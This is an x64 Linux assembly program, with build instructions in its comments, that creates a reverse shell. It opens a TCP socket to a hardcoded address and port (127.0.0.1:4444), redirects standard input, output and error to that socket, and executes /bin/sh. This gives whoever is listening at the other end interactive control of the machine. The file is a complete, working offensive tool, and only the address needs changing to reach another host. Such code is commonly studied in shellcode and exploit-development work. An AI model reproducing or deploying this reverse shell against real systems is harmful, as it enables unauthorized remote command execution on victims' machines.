; Program to connect via TCP and spawn a shell on x64 Linux
; Author: illustrissimus

; To build and run:
; nasm -f elf64 -o rs.o rs.asm
; ld -o rs rs.o; strip -s rs
; ./rs

; To inspect:
; objdump -M intel -d rs

; Defining the server to connect to:
; $ python
; >>> import socket
; >>> hex(socket.htons(4444))
; '0x5c11'
%define PORT 0x5c11
; >>> socket.inet_pton(socket.AF_INET, '127.0.0.1')[::-1]
; b'\x01\x00\x00\x7f'
%define IPADDR 0x0100007f

default rel

global _start

section .text
_start:
; create socket
	mov	rax, 41 ; socket
	mov	rdi, 2 ; domain = AF_INET
	mov	rsi, 1 ; type = SOCK_STREAM
	mov	rdx, 0 ; protocol = INADDR_ANY
	syscall
	mov	rdi, rax ; store the socket FD in RDI

; connect the socket
	; prepare the sockaddr_in
	xor	rax, rax
	push	rax
	mov	dword [rsp-0x4], IPADDR ; sin_addr
	mov	word [rsp-0x6], PORT ; sin_port
	mov	word [rsp-0x8], 0x2 ; sin_family = AF_INET
	sub	rsp, 0x8
	; make the call
	mov	rax, 42 ; connect
	; RDI already contains the socket FD
	mov	rsi, rsp ; addr -> sockaddr_in
	mov	rdx, 0x10 ; addrlen = 16
	syscall

; duplicate file descriptors
	mov	rax, 33; dup2
	; RDI already contains the socket FD
	mov	rsi, 0x0
	syscall
	mov	rax, 33; dup2
	mov	rsi, 0x1
	syscall
	mov	rax, 33; dup2
	mov	rsi, 0x2
	syscall

; execute /bin/sh
	mov	rax, 59 ; execve
	xor	rbx, rbx ; NULL terminator
	push	rbx
	mov	rbx, 0x68732f6e69622f2f ; "hs/nib//"
	push	rbx
	mov	rdi, rsp ; filename -> "//bin/sh\0"
	xor	rsi, rsi ; argv = NULL
	xor	rdx, rdx ; envp = NULL
	syscall

; exit the program
	mov	rax, 60 ; exit
	mov	rdi, 0 ; exit code
	syscall